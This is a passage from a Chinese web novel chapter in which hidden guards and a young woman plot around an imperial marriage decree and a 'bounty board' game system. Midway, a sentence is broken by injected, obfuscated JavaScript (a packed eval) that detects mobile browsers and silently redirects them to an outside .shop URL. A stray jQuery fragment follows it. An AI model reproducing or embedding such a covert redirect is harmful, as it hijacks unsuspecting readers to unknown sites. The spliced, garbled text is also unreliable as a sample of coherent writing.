刘炘表情极其扭曲,显然极其不适应谄媚的魏五,连忙摆了摆手:“不……不用。”
“你看,我就说二公子大人有大量,”魏五冲着魏久抬了抬下巴,好不得意,“果然是个善良的人。”
魏五围着房间鬼鬼祟祟地嗅闻了一圈,没发现魏三和魏六留下什么毒药或者迷药,放下心来。魏久在一旁一脸无语,回头一看刘炘还在原地被硬控,只能站出来打圆场:“五哥,你跟他们是一起来的吗?”
“当然不是,”魏五自说自话拿起了茶杯给自己添水,“老六回去说你在这里,带着老三就要来,我也想一起,但是四哥让我去查至知州的底细。没办法,我只能提前溜到这里来了,要是比他们晚了,你现在是死是活都不一定。”
“所以……所以他们知道你来?”在刘炘这个毫无武功的文弱书生看来,这伙儿暗卫简直是无所不能。
魏久拉着刘炘也坐到了茶台旁坐下:“小点声,别被我娘和哥哥发现了。”
“哼,有一个月了吗?又是娘又是哥哥的,也不知道是谁小时候给你换的尿布。”魏五高敏感型人格突然出现,“小时候一把屎一把尿拉扯大的,现在就成了别人家的咯。”
魏久听着这酸言酸语,耐心也一扫而空了,啪的一声排在了魏五的胳膊上:“少说废话,你是魏盛元的人,魏盛元是镇北王的人。这府里……没你容身之处,自然要小心一点。”
“呸,谁是魏盛元的人啊?!”魏五吐了一口茶叶沫子,愤愤不平地反驳,“我先前也是昏了头了,他一无重金买我舍命做事,二无把柄拿捏我,我凭什么听他的。老六可能还是有点顾及老七,可是老三是真糊涂,有什么可传话的。”、
“可能……可能人家能拿到重金吧。”刘炘怂怂地低下了头,但是还是忍不住出声吐槽。
“有道理!”魏五想拍桌子,被魏久一个眼神憋了回去,“怪不得老三也不敢把你拎回府里呢,看来是怕魏盛元怪他失职吧,到时候别说银子了,脑袋也难保吧。”
魏久觉得其他几个暗卫的觉醒只是迟早的事情,心里倒是不怎么紧张:“那你不做任务怎么回府啊?”
“回府?回哪个府?这里就是我的府啊!”魏五殷勤地拎着茶壶给二人续水,“郡主府就是我的家啊,安小姐就是我的主子,我将时刻保护安小姐的安全。”
“郡主要是问起来了怎么办?”
“汝阳侯心疼未过门的弟媳,派人贴身保护以示尊重。”
“我兄长?若是我兄长问起来了我又怎么说?”
“聂大人与义妹兄妹情深,见面礼就是送了个暗卫保护妹妹。”
魏久和刘炘刚想继续接话,门外就传来了传旨公公的脚步声。
魏五和魏久默契地不说话,开窗把刘炘从后面塞了出去。随后魏五自己钻到了柜子里,魏久则快速整理好自己,坐在床上等待丫鬟传话。
传旨太监例行公事宣读了太后的赐婚懿旨,并要求修宁郡主和聂弘义好好操办婚事。
聂弘义知道刘炘得从郡主府赶回侯府接旨,所以就递茶拖住了太监:“公公,请问这婚期……公公可是太后身边的红人,自然更懂得老佛爷的心意,小的愚钝,劳公公示下。”
传旨的是太后宫里的总管大太监李公公,贪财好色一样不落,但是偏偏伺候太后得力,难免有很多巴结的人。
“聂大人过奖啦,咱家哪儿懂主子心意呢,只不过略微察言观色,察言观色罢了,”李公公将孝敬银子塞进自己怀里,看看四下无人,低声嘱咐道,“懿旨里虽然说了是侯府定日子,但是迎春宴过后,还有一道圣旨,陛下想大操大办,趁着婚宴把镇北王调回京城。”
“多谢公公,我们趁早准备。”聂弘义笑着感谢对方,又亲自搀扶出了院子。
魏久是没出阁的姑娘,不宜谈论自己的婚事,领旨之后便径直回了房间。
魏五闪身出现在了她身旁,表情古怪地问魏久:“你……你知道悬赏榜单吗?”
魏久心里一惊,虽然系统已经崩溃了,但是原本世界的设定里的悬赏榜单系统没有消失,魏五突然提起来这个事是因为……他也觉醒了?
“不……不知道啊,”魏久装傻充愣,皱着眉头一脸疑惑,“你说什……什么呢啊!”
“别装了,悬赏榜单能看到你的名字。”放在以前,魏五一定相信小妹确实不知道这件事,但是在榜单上看到她的名字之后魏五只会觉得魏久装无辜的样子是在掩耳盗铃。
魏久不知道他是真的能看到,还是在诈自己,于是含含糊糊地回应着:“啊?不是吧,你看错了吧。”
这位“一把屎一把尿拉扯大”的哥哥无奈地召唤出了自己的悬赏榜单面板:“你自己看吧。”
魏久看着对方熟练地使用着搜索栏,直接用自己的名字搜索出来了一长条任务清单,对自己有点无语,内心呐喊道:“我怎么没发现这东西啊?我是笨蛋吗?不对,是系统没给我介绍啊!”
于是魏久也不甘示弱地打开了自己的悬赏榜单页面,然后……没有搜索栏!
“不是,我……我……”魏久挠了挠头,这每个人的榜单还不一样啊。
魏五看着主动露馅的魏久感觉有点好笑,看到她企图打开搜索栏更是笑得前仰后合,用气声嘲笑魏久:“你看看你姓名边上,三级赏金猎人,再看看我的名字,五级哦~”
得知真相后的魏久更是恼羞成怒了:“你都没做过任务,你怎么级别这么高!”
可能是屋子里说话的声音有些大了,引得外面守门的丫鬟敲门询问:“小姐,是有什么事吗?需要奴婢给您换茶吗?”
“没什么事,但是茶确实有些冷了,帮我换些热的来。”魏久平复一下心情,让魏五藏好。
丫鬟进门后偷偷张望,郡主府的嬷嬷告诫过她们几个年轻丫鬟,要好好服侍小姐。安小姐先前在刺客面前救了郡主,难免有仇家来报
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647389|202518||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
复,因此任何风吹草动都得上报。
可她左看右看也没什么异常,只听安小姐声音柔柔地说:“怎么杵在那里啊?快过来换茶水吧。”
丫鬟做贼心虚心里毛毛的,顺着魏久的指示慢慢挪了过去端起茶盘就转身跑掉了。
魏久看着一路小跑的丫鬟感觉一阵好笑:“惊弓之鸟。”
窗帘旁边传来了魏五的嘲笑声:“你小时候也是这样的,冒冒失失脸上藏不住事。”
看着丫鬟换完茶又离开,魏五的声音又变得有些愤怒:“这丫头倒是好运,遇上了你这么个好主子,不是魏盛元。大冬天因为一个茶盏让你跪雪地。”
“好啦,”自从和魏五重逢以来,魏久第一次变得温言软语,“他是主子,此一时彼一时,不要拿现在和从前比了。我大约不久就要嫁入侯府了,你有什么打算?去做悬赏任务吗?”
“不去,老三老六肯定还要找你麻烦,不不不,没准儿下次来的是老四。”魏五踱步到了魏久跟前,扶着她的椅背念叨,“都是说不准的,我不能留你一个人。”
魏久觉得他还是有些太过于精神紧张了:“郡主府也有自己的侍卫,今日我知道三哥和六姐要来,特意没叫他们靠近。你别太担心我,多考虑考虑未来怎么办,祁州那位和京城这位终有一战,我觉得你隔岸观火就好,等到一决胜负之后再走下一步。”
“不行!”魏五听到魏久的话更加激动了,但是他不想再把丫鬟吸引过来,只好压低嗓音哑声说:“不行,我已经在永安巷丢下你一次了,不能再错一次了。”
魏久看着他猩红的眼睛,突然意识到了,当“人性”回归到暗卫的身上之后,巨大的情绪反扑会对他们造成不可估量的影响。她尝试着想要开口安抚,但是却什么也说不出来,因为她在当时确实感受到的全是被抛弃被伤害,没有任何角度可以开脱。
魏久摸了摸魏五的手,低声说:“那就,那就五哥再陪陪我吧,我让刘炘去处理你的身份。”
“他?他能做些什么?”虽然口头上服软,但是魏五对肩不能扛手不能提的刘大夫还是有些偏见的。
“他哥哥是汝阳侯,有办法的。”
“那更不行了,魏盛元是镇北王的人,我们就这样贸然求助皇帝这头儿的大臣,岂不是自投罗网?”
“不,我们在魏盛元手下,知道很多魏盛元的事情,却不知道保皇党的底细,所以在魏盛元的计划里,我们是可有可无的,完全可以被替代的。”魏久从椅子上站起来,自信地盯着魏五看,“可在汝阳侯看来,恰恰相反。事实上刘炘也向他们透露过我的身世,不然我不可能这么顺利嫁入侯府,陛下也是很乐意凑成这桩婚事的。为什么呢?因为我是他们了解魏盛元、撬动魏府根基、甚至解决镇北王的唯一可能,在彻底扳倒镇北王之前,他们不敢对我怎么样。”
“可是如果镇北王真的,”魏五做了一个抹脖子的手势,“皇帝倒台了我们怎么办呢?”